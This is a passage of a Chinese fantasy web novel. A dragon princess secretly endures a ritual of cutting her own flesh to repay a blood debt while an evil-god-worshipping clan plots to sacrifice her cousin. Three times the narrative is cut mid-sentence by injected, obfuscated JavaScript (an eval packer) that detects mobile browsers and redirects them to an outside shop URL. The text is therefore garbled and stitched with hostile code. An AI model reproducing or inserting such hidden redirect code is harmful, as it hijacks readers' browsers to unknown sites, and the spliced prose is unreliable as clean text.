独孤归鸿也不想带鱼织走,他重重地压下眉头,再舒展开,苦笑道:“善长兄,此毒不解,令千金活不过三个月。” 林远冠气得要跳起来了:“你们——” “善长兄放心,只要令嫒的毒一解,到时由我们族长亲自送她回来,并且还会奉上我独孤氏族中珍宝。” 独孤归鸿作揖。 林承恩骂道:“我妹妹就是天下最难得的珍宝,还要你们独孤氏的破烂干什么!” “林大公子,话不能这么说。”独孤靖站出来,“就算你们不了解独孤氏,也应当知道岭南杜家吧?” 林远冠眉心跳了跳。 岭南杜家,出了不止一个天子近臣,钦天监的掌使姓杜,而如今后宫最受宠的皇贵妃也姓杜。 “杜家是独孤家的旁支。” 独孤归鸿一句话就让林远冠哑火。 “老夫人今年才八十岁,看着是长寿之相,若是能用上我族珍宝,再活个三四十年不在话下。”独孤归鸿客客气气地说,“过了冬天便是春闱了,听贵妃说陛下近来苦恼江南盐运使一职,若是能有人引荐贤能,为陛下分忧解难……” 独孤家给出了极大的诚意。 林家人商量过后,本想让林承恩或林承贤同去。独孤归鸿不同意。双方各退一步,让鱼织将两个贴身丫鬟带上,方便照顾。 第二天天不亮,鱼织上了马车。临走前老夫人千叮咛万嘱咐,依依不舍。 独孤家的人都是骑马来的,原本独孤照可以跟独孤靖共乘一匹,但他现在身体虚弱,而林家也不会为他单独安排一辆马车。于是等出了街口,独孤归鸿便询问鱼织是否能让独孤照同乘。 鱼织欣然答应。 他一上车就坐到角落里,尽量降低自己的存在感。 玉符给鱼织泡了一壶热茶,鱼织接过后捧在手里,可掌心的凉意仍是一丝丝的。 她将热茶递给独孤照,“你喝吧。” 独孤照原本闭目小憩,听到声音睁开眼,眼里流露出一丝诧异。 玉符和寻瑰对视一眼。如果还在林家,她们会劝鱼织不要给。但出了门就是主子最大,鱼织愿意把茶给谁就给谁。 独孤照认为鱼织在同情他。 龙族没有一个好人,都是黑心肝。人前伪善,人后恶毒。 “不必了。” 鱼织从不知道手冷脚冷原来这么难受,她执意将茶盏凑过去,“壶里还有很多。” 烦躁像炊烟一样升起来,独孤照咬着牙怒斥,“不必了!” 他挥袖,茶盏卷入袖里,在他怀中打翻了。 全泼到了独孤照身上。 玉符和寻瑰不由得“啊”了一声。这茶可烫,两人都只敢端着碗沿。想来独孤照定是烫伤了。 鱼织看了眼落在软垫上的茶盏,拾起来放到桌上。 她不说话,往玉符和寻瑰的方向挪了挪。 玉符和寻瑰对视一眼。 小姐这是伤心了? 鱼织不关心独孤照有没有烫伤,她们也不敢开口。 滚烫的热水泼洒到身上,独孤照反倒觉得很舒服。 这具身体常年像浸在冰窖里,一开始他也觉得是一种折磨,后来习惯了,便觉得这种痛苦能令他时时刻刻记得仇恨。 鱼织搓了搓手,将暖手炉揣怀里。 没那么冷了。要是可以,她想把独孤照丢进热水里涮一下。 不过这子母蛊为何是母蛊与子蛊共感呢?子蛊又为何感觉不到母蛊?鱼织想了想便明白了。原本母蛊是独孤靖用的,她要时刻掌握独孤照的动向,自然需要感他所感。 应该有屏蔽共感的办法,只是鱼织不懂蛊术。 鱼织打了个哈欠,有些乏了。 她在林家养成了早睡早起的好习惯,困意袭来,便垂着脑袋,捧着手炉小睡一顿。 她这幅样子落在旁人眼里就是伤怀。 玉符和寻瑰不敢说话。心想独孤公子好歹是小姐的表兄,既不曾欺辱他还帮过他,如此不过是恨屋及乌,迟早会后悔。 鱼织一觉睡醒。 玉符和寻瑰也睡着了,头抵着头。 她没有叫醒两人,而是转头望向独孤照。 独孤照一直没阖眼,细碎的刘海盖住他的眼睛,只露出精巧的下巴。像一尊一砸就碎的琉璃塑。 他觉察到了鱼织的视线。 视线即将交汇时,马车停下了。车外传来独孤归鸿的声音,“贤侄,贤侄女,前面就是锁云城,下来休息一会儿吧。” 林家在凛州永平府,往南就是横州。全境山体连绵,皆是峡谷险隘。一条主路贯穿群山,通向衡州主城锁云。 马车就停在往锁云的山道上,四周还飘着寒雾残雪。 玉符搀着鱼织下车。鱼织看了眼远处,独孤靖在路边起了一个临时祭坛,跟独孤轩、独孤亭三人祭拜。 祭坛像一座小小的土地庙。不用黄泥用窨沉木,通体漆黑,一张红布盖住正面。 寒风将树上悬挂着的冰棱都吹动了,硬是没能掀起红布一角。 独孤靖从袖里取出三支赤香,点燃后恭敬地拜上一拜。 独孤归鸿不知何时站到鱼织身旁,解释道,“贤侄女,靖儿是在拜我独孤家供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275547|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉的神仙。” 明明祭坛在下风口,站在上风口的鱼织却能闻到一股腥臭味。 她故意不揭穿,装出好奇,“那是什么香?竟是红色的。” “是独孤家特制的线香,只有我们能用。” 鱼织看向玉符,“气味也很独特。” 玉符点点头:“闻起来令人心旷神怡。” 寻瑰也觉得很好闻。 一阵呕吐声传来。 独孤照扶着车干呕,像是受不了这股气味。 他也不解释,吐完后用手背擦拭嘴唇,看向独孤归鸿,“叔公,什么时候进城?” “等这柱香烧完。”独孤归鸿背着手,眼里带着兴奋的光,“才刚开始,贤侄……莫要着急。” 过了半个时辰,香总算烧完了。独孤靖让独孤轩两人收拾祭坛,自己则走到独孤归鸿身边,耳语一番。 独孤归鸿很满意地点头,“我们在锁云城休息一日,明天启程。” 独孤靖若有似无地觑了鱼织的方向。 独孤归鸿也意识到这个问题,皱了下眉,旋即舒展开。 鱼织吃着杏仁酥,将两人的对话纳入耳中。 独孤靖:“……二伯,林鱼织对我们来说很重要,她身上有母蛊,不能让她离独孤照超出百步。我看,倒不如再给她下一个‘牵机蛊’。” 独孤归鸿:“她身上有‘生死蛊’,你以为其他蛊毒有用?” 独孤靖:“……” 独孤归鸿:“既已撒下阴阳毒的谎,想来她不会乱跑。而且尊神的蛊极为霸道,你的牵机蛊只会被吞掉。我看这丫头待孤独照不一般,你也是女孩子,不妨探听一番她的态度。” 独孤靖朝鱼织这边来。 不等她开口,鱼织将杏仁酥递过去,一派的天真无邪,“我可以叫你靖姐姐吗?” 独孤靖愣了愣,接过杏仁酥,“当然可以。” 鱼织打发玉符和寻瑰去煮茶,跟独孤靖有一搭没一搭地聊起来。 恰时启程。独孤靖提议让鱼织跟她同乘一匹,感受一下骑马。鱼织欣然答应。 快进城了,独孤靖骑得不快。玉符和寻瑰跟在后面。 独孤照一个人在车里。 鱼织感觉到冰凉的手暖了起来,连腹部也热乎乎的。没想到让独孤照“多喝热水”的关键是别在场。 独孤靖的声音从头顶传来,“鱼织妹妹,听说阿照在林家时全凭你照顾。” 鱼织:“这倒没有,我才回家两个月。也就是帮了一点小忙,让李巧娘到我院子里干活。多给她一些月银,独孤照的日子也会好过一些。” “不知汉人可有表亲不通婚的习俗。”独孤靖慢条斯理道,“我们独孤氏没有。” “好像没有。”鱼织托着腮,手臂抱住马脖子,“我觉得祖母他们对独孤照太苛刻了,他什么都没做错,就因为他爹娘两情相悦,便将错归到他头上,对他太不公平了。我自小在外流浪,辗转数家,也明白这种孤立无援的感觉。” 独孤靖:“鱼织妹妹是心疼阿照?” “是啊。”鱼织坐直了,“我是心疼他,靖姐姐,你可有心疼的人么?” “心疼一个人往往便是喜欢的开始。”独孤靖“吁”声勒住马缰,“以我的身份,大抵不会心疼任何人。鱼织妹妹好福气,小小年纪就有喜欢的人了,很是难得。那你可得跟紧阿照了,他长得好看,一定会有很多人喜欢他。” 马蹄蹬踢两下,停在原地。 独孤靖翻身下马,帮鱼织下马。鱼织一落地就看见一片黑色的衣角。 独孤照脸色难看得像吞了一块黄连。 鱼织假装不知道他早就从马车里下来跟在两人后面了,露出一个无邪的笑容。 5. 第 5 章 被不共戴天的仇人喜欢,是一件让人反胃的事。 自小在外流浪?辗转数家? 骗子。 独孤照不说话,他冷眼看着鱼织,似乎想从她的一举一动里找出破绽。 但鱼织并不知他的真实身份,这让独孤照连发作的借口也没有。 独孤轩和独孤亭牵着马,与马车一起跟在后面。 一行人进了锁云城,被喧闹的人声淹没。玉符和寻瑰没出过永平府,看什么都新奇,东张西望。 鱼织没离开过东海,对人间的了解都来自鱼情和龙王出海归来后给她带的小玩意儿。 她在一个摊位上看见了一只老虎布偶,耳朵缝错了,一前一后。 摊主见她停下脚步盯着布偶看,笑道:“姑娘可是喜欢这只小布偶?它是我小女儿做的,全天下独一无二。” 鱼织:“……” 玉符和寻瑰凑过来,“这小布偶着实可爱,小姐可是喜欢?” 鱼织摇摇头。 原来阿姐给她的布偶真的是天下无双,还以为她在诓自己。这样丑的小东西何来天下无双。 “小姐不买吗?”玉符见她转身离开,诧异道。 “不了。” 她若买走,阿姐就没法买给她。若阿姐没来买走,被别人买走了,于她而言也没有意义。 一行人在客栈落脚。独孤照的房间安排在鱼织隔壁,独孤靖一行人则睡在楼下。 舟车劳顿,吃过饭后众人各自回屋休息。 是夜。 鱼织倏地睁开眼,坐起来,看了一眼睡在榻上的两个丫鬟,悄无声息地走到桌前,将茶水倒了一地。 茶水撒在地上,动了起来,宛如涓涓细流,沿着地板渗了下去。 鱼织撩衣坐下,食指和中指并拢在眼睛上抹了一下,眼底掠过微光,将独孤归鸿房中情况尽收眼底。 白天看过的祭坛就搭在独孤归鸿房中。 红布被撩起,里面坐着一尊通体漆黑的雕像。 鱼织只看了一眼就闭上双目。 如此阴邪的气息,必非正神。独孤家供奉的是哪路邪神? 她不敢细看,怕被发现了。干脆只听两人说话。 独孤靖:“二伯,一切都准备好了。” 独孤归鸿:“好,明晚便是月圆之夜,时候恰恰好好。阿靖,依你看,林家那小丫头可是心悦阿照?” 独孤靖:“我觉得她对独孤照有好感。” 独孤归鸿:“这样也好,阿照毕竟是长青的孩子,死后能有一个伴,我也算对得起他父亲。” 独孤靖:“二伯,不是说要带林鱼织回族里解开生死蛊吗?” 独孤归鸿忍不住发笑,“母蛊在她身上,独孤照受祭礼,她岂能无感?林家这个小女儿,必然回不去了。” 独孤靖怔了怔,“我可以教她怎么屏蔽母蛊对子蛊的感知……” “胡闹!”独孤归鸿呵斥道,“我族驭蛊之法岂可传与他人?你是独孤氏圣女,全族荣光全系你身,何来妇人之仁。这是‘黄粱梦’,喝下后她就会忘记前一天的事,你拿着,跟着她,务必保证她什么都不知道。” 独孤靖话里有些许不安,“可她是无辜的。” “若非你办事不利,未能及时寻到母蛊,让母蛊错咬了她,至于如此吗?让她平平安安地上路,也算你赎罪了。”独孤归鸿放柔声音,“阿靖,不要让我们失望。尊神在看着你。” 独孤靖沉默了一会儿。 “知道了。”她的声音发涩,“那两个丫鬟就不杀了吧,好歹让她们把林鱼织的尸骨送回去。” “随便你。”独孤归鸿不耐烦地说,“到时就说是阴阳毒引致的失忆,反正‘黄粱梦’喝多了她也会变傻子。不过……若是她的丫鬟不安分,你必须亲自下手,确保一切顺利。” “……我知道了。” 随后是独孤靖离开房间的脚步声。 鱼织抬起手指,茶水从缝隙里飞起来,团作水珠凝在她指尖。 她将水珠丢回茶杯里,看了一眼睡得正酣的玉符和寻瑰。 那尊邪神很厉害,力量远在她之上,独孤照正是独孤家献给祂的祭品。 结合白天从独孤归鸿那里听来的,“生死蛊”是邪神赐给独孤氏的。所以他们解不开。 鱼织忍不住想,若是父皇在这里就好了。东海龙王可是天道钦点的正神,区区邪神怎会是他的对手…… 她轻轻拍了拍自己的脸。她的目的是还清龙族欠独孤照的债,独孤氏做什么,邪神做什么,都与她无关。 打不过,躲着走。 听他们的意思,明晚就是“献祭”独孤照的时候。 独孤靖会怎么做? · 清早起来,玉符和寻瑰伺候鱼织洗漱,独孤靖来敲门,邀请她们下楼一起吃早膳。 独孤归鸿慷慨地点了一桌子菜,“贤侄女别客气,吃饱了好上路。” 鱼织知道他要自己的命,这句话听着就有两重意思了。 她笑了笑,没在饭桌上看到独孤照,“独孤照不来吗?” 说曹操曹操就到。独孤照跟着独孤靖下来了,桌上只剩下两个座位,一个在鱼织身旁,一个挨着独孤归鸿。 独孤靖先选好位置,把鱼织旁边的留给独孤照。 独孤照迟疑了一下,坐下了。 他需要独孤家这帮人给他带来的“劫难”,因此并不想跟他们起冲突。 独孤照刚坐下,碗里就多了一个包子。 鱼织给他的。 独孤照的手顿了顿,拿起筷子,似乎在思考要不要吃。但他旁边坐着独孤亭,并不能夹到对方碗里。不然就丢到一旁,亦或者放回去。这两个选择都是驳鱼织的面子。 正这时独孤归鸿给他夹了一块卤肉,“贤侄多吃些,你太瘦了。” 独孤照闭了闭眼,随口应了声“多谢世伯”,吃了起来。 玉符想帮鱼织再夹一个包子,鱼织按住她的胳膊,指了指碗里的白粥。 她刚拿起那包子就闻到了一股海鲜味。店家说这包子是八鲜包,这个“鲜”莫不是海鲜的鲜? 独孤照一口咬下去的时候,鱼织闻到了味道,确实是海鲜。 幸好她把包子给了独孤照。 客栈外传来了敲锣打鼓的声音。 独孤归鸿叫来小二,“小二,这么热闹可是在过节?” “客官是外地来的吧。”小二看了看四周, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275548|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低声音,“今天是山神老爷娶亲的日子。” “山神娶亲?”独孤归鸿饶有兴致,给了小二一点碎银子,示意他继续说。 小二拿到银子,语气都往上提了一个调子,“想必诸位知道横州遍地是山,锁云城就悬于万峰夹缝,地势险要。当初建城时便有一位大师说过,此处地气混乱、山崩频发,十建九毁。若想安稳,必须供奉山神,方可保一方百姓平安。” 独孤轩:“供奉就供奉,为何要给山神娶亲?” 小二眉飞色舞,“山神庇护锁云城,时间久了它也孤独嘛!有一个伴儿,山神才愿意留在这里。” “那山神是男是女?”独孤靖好像看到花轿了。 小二讪笑着摸了摸鼻子,“我们不知道山神大人是男是女,所以每次送去的都是一对少男少女。” 众人吃了一惊。独孤亭惊讶道:“献祭活人?” 小二惊得下巴都要掉了,挥舞着双手解释道: “可不能这么乱说!那是泥胎,每三年我们都会选出锁云城最美的少男少女,用泥土塑成他们的模样,送去陪山神大人!客官,你可千万别让锁云城的百姓听到了,献祭活人这种事,只有瘴州做得出来,我们横州可都是好人!” 独孤归鸿慢慢放下茶盏,皮笑肉不笑,“小二哥,不巧,我们几个就是从瘴州来的。” 小二脸上的笑僵住了,呵呵两声,生怕独孤归鸿把赏钱要回去,脚下抹油跑了。 独孤归鸿转眸看向独孤靖,示意她出去。 鱼织手一抖,不小心打翻了茶盏。玉符忙着替她擦拭,全然没注意到地上的水珠滚动起来。 独孤归鸿把独孤靖叫出去,只是想跟她说这句话: “不用活祭的山间野灵,必然强不到哪里去。不过既然他们搭好了祭坛,正好,省了我们的功夫。” 两人打定主意,今晚就把独孤照带到锁云城山神的祭坛去,顺便吃掉它的香火。 他们回来时神色如常,还问鱼织和独孤照要不要一起出去看看热闹。 独孤照自然是拒绝了。 鱼织跟他被“阴阳毒”联系在一起,面上一副喜热闹却不得不摇头拒绝的模样,倒让独孤归鸿很满意。 独孤靖别开目光,她知道今夜就是鱼织喝下第一杯“黄粱梦”之时。 · 十五的月亮特别亮。 不需要点烛,独孤靖就能看清眼前的路。她手里捧着用红布盖住的神像,一步步走到了独孤照的房门前。 房门悄然打开。 独孤轩手里拿着迷香,独孤亭抬手,从袖中飞出两段红线,捆住了独孤照的手脚。 独孤照像一个任人摆弄的傀儡,起身,跟着他们走出去。 独孤靖走到鱼织房门前,用同样的方式打开了门。 迷香所过之处只他三人能保持清醒。玉符和寻瑰睡死过去,全然不知鱼织被带走。 白天锁云城的主街上走过山神娶亲的仪仗队伍,留下夜晚遍地喜花红纸,还有未燃尽的香烛余烬。 此刻仿佛铺就好的路,引着独孤靖往城外走去。 等他们走出一段距离,一道身影才从客栈后院翻出来,循着地上炮竹纸屑的痕迹追了过去。 6. 第 6 章 夜枭高啼,明月高高悬在天上,亮得晃眼。 独孤靖三人走在山脊上,雾色在谷底翻涌,山风吹起的纸屑残红漂浮在万丈空寂上。 等到第一片乌云遮盖了明月,独孤靖踩到燃尽倒伏的香烛,抬起头看向眼前天然裂开的山缝。 香烛后面是一尊供奉在小土庙里的泥像,笑容可掬,周身萦绕着淡淡光彩。 这就是锁云城供奉的山神庙。平日里百姓供奉止步于此,娶亲的祭坛则设在山缝后面。 独孤靖掀开红布,一道黑气从里面钻出,蹿进山神庙,将山神像缠住。庙里传来一声嘶吼,紧接着是野兽挣扎时的悲鸣,最后归于沉寂。 独孤靖冷眼看着,面上仿佛蒙了一层淡淡的黑气,猛地回头:“谁?!” 独孤轩诧异道:“靖姐姐,可是有其他人?” 黑气从山神庙里飞出来,回到神像里。 红布落下,独孤靖脸上的黑气也散去了,她有些茫然:“没什么。” 三人牵着昏昏沉沉的独孤照和鱼织走进山缝。 地面上一滩不起眼的水渍慢慢升起,变成鱼织的模样。 那邪神好敏锐。鱼织心有余悸,幸好她反应够快。 她走到山神庙面前,俯下身去。山神像暗淡无光,脸颊有一道深深的裂缝,内里已经被掏空了。 邪神把山神的香火和修为吃光了。 鱼织想了想,变成水贴在山壁上游动。等从山缝出去,只见一个三面围住的山谷中央有一个搭建好的祭坛,正面放着山神的神牌,后面是红纱帐,隐约看得见两个泥胎做的少男少女。 独孤靖将神牌丢掉,恭敬地摆上神像。 她看向独孤亭,“把独孤照放到纱帐后面,林鱼织……就随便丢在那边吧。” 她指了指山壁。 将一切布置好,独孤靖让独孤轩和独孤亭先出去。 两人面面相觑,“靖姐姐,我们不能留下来看吗?” 独孤靖淡淡道:“待会儿连我也要离开,尊神纳祭的时候不喜欢被打扰。” 等他们俩离开,独孤靖在神像面前跪下,虔诚地磕头,念念有词。 都是祈求尊神庇护独孤氏的话。 她从袖里取出三根赤香,点燃后插入香炉,转身离去。 鱼织沿着山壁转到了纱帐后面。 独孤照坐在地上,两眼发直。鱼织也看不出他这是被控制了还是没有,便没贸然行动而是静观其变。 月亮爬到山顶时,薄薄的月光倾洒下来。鱼织听到了令人牙酸的声音,不知何时被红布盖着的神像竟自己转动,面朝纱帐。 红布下有什么东西开始升起,慢慢变大。最后变成了一尊通体漆黑,头上盖着红布的神像。 邪风吹开红纱帐,两个泥胎从台上掉落,摔得粉碎。 神像的双手粘连在一起,黑泥翻涌,慢慢长出一把匕首。 匕首飞到独孤照身后,悬在他的头上。 “施我尔肉,还之以愿。” “施我尔血,还之以恨。” 神像底下传来两句话,声音重重叠叠。既有男人的,也有女人的。既有老人的,也有小孩的。一次又一次,像诵经声。直到独孤照的眼皮动了一下,匕首一下子掉在他面前,声音也跟着消失。 他握住匕首,摇摇晃晃地站起来。举起左手,眼睛仍失神地看着前面,右手却高举匕首,扎在自己的手臂上。然后转动,硬生生剜下了一块肉。 独孤照像感觉不到疼痛,用刀尖挑起肉,送向神像的方向。 神像的手掌冒出黑泥,从掌心往下流,直到独孤照脚下,变成一个托盘。 独孤照的血肉掉进托盘里,被黑泥吞噬。被剜过的地方仿佛被滚烫的烙铁熨过一遍,没有继续流血。 他举起匕首,又要再割下一块。 这时一只手握住了他持刀的手腕。 独孤照一点反应也没有,只是停在原地。 鱼织神情复杂地看向他手中的刀,紧紧地抿了抿唇。脑海中掠过命书展现给她的场景:东海枯竭,子民死在干涸的海床上。龙族的残躯填满深渊,父皇和阿姐的龙身在烈日下腐烂。 她劈手夺过了匕首,看了独孤照一眼。从自己的手腕上剜下一块肉—— 好痛! 仿佛是数百个人被同时剜肉的痛苦席卷了鱼织,每一滴血落下时仿佛倾盆血雨。她疼得浑身都在颤抖,脑海中却有一条金色文字展开,那上面写着“还血还肉”。 疼。鱼织看着硬生生剜去一块肉的地方,鳞片全都露了出来,一片片竖起来,无声地呐喊。浑身的每一寸肌肤都像被车轮碾过,每一寸神经都在尖叫。 她的血肉掉进托盘,黑泥立刻覆盖。鱼织并没有发现黑泥迟疑了一下,是她的血肉表面掠过薄薄的金光后才继续欢天喜地地享用。 鱼织每割下一片,“还血还肉”的金光就淡一点点。 先是手臂,再是腿脚,然后是腹部,后腰……每一下都等于数百个人的痛苦。她逐渐站不住了,双膝跪地,所有流出来的血都被黑泥吃了个干净。 鱼织的头发早就被汗水浸湿了。 她分不清眼前看到的是自己的血还是汗。思绪渐渐飘远,怪不得命书一开始给过她放弃的机会。一个种族与另一个种族的仇恨,不是她区区一条小龙能承担的。 可那又如何呢?鱼织从地上抓了一把泥土往嘴里塞,举起匕首往小腹用力扎了一刀。发出一声闷哼,将血肉丢进托盘。 直至三根香燃尽,鱼织浑身已成了血人,一身白骨森森,只靠着命书给的一口气强撑身体而不倒下。 “还血还肉”四个字变得暗淡,她眼前陡然出现了一把泛着淡淡金光的毛笔。 鱼织的眼睛陡然亮了起来,丢开手中的匕首,举起只剩下一丝丝血肉粘连着白骨的手,握住毛笔,用力在“还血还肉”四个字上一划—— “第一笔血债,清了。” 她再也支撑不住身体倒了下去。落地瞬间宛如春风般的金光将她托了起来,月光薄薄地洒在她身上。仿佛万物生长,生机勃发,血肉逐渐长了出来。 匕首化作黑泥钻入托盘,托盘流回神像手中。神像变回原来大小,安安静静地待在红布下。 鱼织躺在地上,有些恍惚地看着自己完好的手臂。她费劲地爬起来,看向独孤照。 独孤照一动不动,似乎无知无觉。鱼织却发现他后颈隐约有一抹红色。她诧异地拨开独孤照的头发,什么也没有,仿佛是她的错觉。 鱼织看了眼山缝入口,快步走到自己的水傀儡面前,挥挥手,水傀儡应声而散,变成一滩水渗入土地。她再坐下,歪头假装昏迷不醒。 脚步声传来。 她听见独孤靖三人说话。 独孤轩:“靖姐姐,尊神大人享用祭品了吗?为何他看上去没有半点变化。” 独孤靖掀开独孤照的袖子,看见他手臂上的伤,“尊神大人享用过了,或许是祂施的障眼法,这样也好,让独孤照死得舒服些。” 独孤靖捧起神像,感觉到神像变沉了,很是欣喜,“走吧,带他们回去。” 鱼织感觉到有两条红线拴住了她的手脚,于是依势而起,跟着独孤靖三人回到了客栈。 一躺到柔软的床上,她就深深地睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275549|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过去。 一觉无梦。 第二天是被玉符喊醒的。玉符和寻瑰担心地看着她,寻瑰道:“小姐,已经午时了,你睡得好沉,玉符差点要去叫大夫来了。” 鱼织浑身乏力,明显感觉到身体变沉了。她伸出手,在玉符的搀扶下坐起来。 寻瑰观察她的脸色,“小姐,你是不是不舒服?” 鱼织摇摇头,“我没事。” 她掀开衣袖,看到自己的手臂,愣了一下,下意识举起手臂,“你们看见了吗?” 玉符河寻瑰诧异,“看见什么了?小姐,你的手上有什么东西吗?” 鱼织慢慢放下手。 “我想洗个热水澡,玉符,你去帮我烧水。寻瑰,你让厨房做一些饭菜,不要河鲜海鲜。” 等屋子里只剩鱼织,她除去衣物,走到更衣镜前。 她的皮肤上裹着一张张泛黄的纸。 不,准确来说是这些纸变成了她的皮肤。摸上去也像她的皮肤。鱼织猜到这是命书的手笔,不然她还了那么多血肉,怎么可能无恙。 她揉捏手臂,柔软的触感跟血肉也没什么区别。 淋上冷水不会皱,淋上热水会烫。用刀划破的肌肤底下流出来的是墨汁,伤口也会慢慢愈合。 不过在玉符和寻瑰眼里,纸就是她的皮肤,墨水是血。鱼织也试过调动法术,不受影响,干脆不管了。 玉符和寻瑰正收拾行囊,鱼织打开门就碰见了同样出门的独孤照。 四目相对。 鱼织迅速露出一个明媚的笑容,“早。” 独孤照:“……” 他没有跟鱼织打招呼,而是别过脸。细碎的刘海遮住眼睛,不知道在想什么。 鱼织的目光落到了他的手臂上,隐约看得见缠着的白色裹创布,“你受伤了?” 独孤照立刻将那只手藏进怀里,“我没事。” “小姐,我们收拾好了。”玉符和寻瑰走出来,向独孤照颔首,“独孤公子。” 下面传来独孤轩的声音,“林小姐,阿照,马车已经备好,可以出发了。” 玉符和寻瑰抱着包袱往下走,鱼织跟在后面。 蓦地,她听到独孤照近在耳畔的声音,“你可还记得昨夜发生了什么?” 鱼织心里咯噔一下,心想难道独孤靖的迷香没有对他起作用。 她唇畔笑容不改,故作困惑,“昨夜怎么了?这客栈的床不错,我睡得很香,一觉睡到了午时呢。你睡得不好吗?” 独孤照深深地看进她的眼睛里。 少女的眼眸纯净得像一块玻璃,什么也藏不住,什么也不会有。 “没有。”他摇摇头,觉得自己一定是想多了。 独孤照知道独孤家要对他做什么。 各取所需罢了。昨夜,他任由独孤靖将自己带走,也知道她带走了鱼织。进入山缝之后那尊神像现身时,他的意识就陷入梦和现实的边界,分不清什么是真,什么是假的。 所以,他做了一个梦。 梦里少女夺过他手里的匕首,为他割下一身血肉。她的血流了一地,染红了他脚下的土地。 她没有喊过一声疼,看向他的眼睛倔强而深情。 是梦吧。 是梦罢。 他最痛恨的龙族,怎么可能为他献上一身血肉? 不过是他太恨了,恨到妄想他们会后悔。 手臂上隐隐灼痛的伤口和有所增长的力量都在提醒他,祭献不是错觉,一切都在按照他预想中的走。如果鱼织真的为他牺牲,他的力量又怎么会回来? 狡猾的,无情的龙族。 7. 第 7 章 马车行驶在锁云城的主街上。 鱼织看着窗外景色,又见到了昨日的摊贩。今天他换了一个更宽敞的位置,大概因为带了两个憨态可掬的女儿。 老虎布偶也还在摊位上。 独孤照还是缩在角落里,闭目养神。 鱼织感觉自己对痛感的耐受度提高了很多,比如说独孤照手臂上的伤,她感觉不到。还是说那一块肉已经被挖掉,现在填满的是纸和墨水?她歪了歪头,不去深究。 冷感也减弱了很多,不去想的话甚至不会注意到。 忽然车夫吁声使马停下。 玉符掀开帘子,“车夫大哥,怎么停下了?” “官府的人在前面。”车夫说。 玉符打探完了回来告诉鱼织,“小姐,山神庙被毁了,官府现在到处在找始作俑者。说是我们所有人都要接受检查,你和独孤公子先下来吧。” 鱼织接过寻瑰的手下了马车。 独孤靖略施手段,衙役没在她身上找到任何可以的物件。另外三人更不必说。在马车上也没有搜罗出什么,过了一会儿就放他们走了。 鱼织回到马车上,再看窗外,愣了一下。 摊子上摆着的老虎布偶不见了。 似乎是被人买走了,就一眨眼的功夫。鱼织知道不会是鱼情,阿姐现在还在东海修习法术。 她忽然想到什么,看向独孤照。 真正的独孤照没有这么早回到独孤家,他在林家不堪其辱、离家出走,一年后才被独孤家找到,跟着他们回到归义府,却被关起来,献祭给邪神。 而现在什么都不一样了,鱼织不知道怎样就是“时候到了”,只知道自己在奔向“时候”的路上。 如命书所说,命运如此狡黠,只需一点变化,就可翻天覆地。 大到一个人的命运,小到区区一只老虎布偶的下落。 马车驶出了锁云城。 往南,气温渐渐升高。从南边吹来的热风融化了积雪,树木一半枯黄一半鲜绿。一行人将横断群山甩在身后,从狭窄的山脊走向更松阔的大路。 这一段路程耗费了他们一个月的时间,期间曾经在横州的另两座城池停留,都是半天,休整之后继续上路。 抵达横州和炎州交界处的南风渡时,鱼织已经脱掉了厚厚的麾衣,闻着空气里湿热、粘腻,夹杂着草木腥气的热风,令她想起了东海的夏天。 南风渡悬在半山腰,下面是奔涌入海的东溟江。他们要在这里登船,从北岸云雾锁峡的衡州进入南岸密林漫漫的炎州。 船要在江上行驶半个月,独孤归鸿让独孤轩和独孤亭去最近的集市采买物资。鱼织让玉符和寻瑰一起去,自己则在渡口等待。 独孤归鸿跟船老大谈好价钱,把钱袋交给对方之后,将独孤靖叫到眼前。 他看了一眼站在十数步开外的鱼织和独孤照,这才看向独孤靖:“尊神准备纳祭了吗?” 独孤靖是圣女,只有她能跟神像沟通。他们并非不想一下子就把独孤照献祭了,而是每一次献祭都需要尊神的许可。 距离上一次尊神纳祭已经过去一个月了。 如果回到族里时还没能完全将独孤照献祭,他们就会把独孤照关起来好生养着,直到尊神享用完。 独孤靖摇摇头。 独孤归鸿皱了下眉,旋即舒展开,“看来,尊神对这次的祭品很满意。” 独孤照并不是第一个祭品,独孤归鸿找到他之前认为他会跟上一个祭品一样,在进归义府之前就被尊神吃掉。 那之后尊神赐予的蛊王维持了独孤氏近百年的荣光。 越好的祭品,越强的蛊王,越久的富贵荣华,越长的权力统治。 独孤归鸿的血都滚烫起来了,兴奋得手在颤抖。 独孤靖手搭在栏杆上,看着平台下流淌的江水,有一种错觉,那水里仿佛有一双眼睛,正在看着他们。 独孤归鸿诧异地看了眼突然向后退了两步的独孤靖,“怎么了?” 独孤靖探出头,只有潺潺流水,哪来的眼睛。她摇摇头,“是我看错了。” 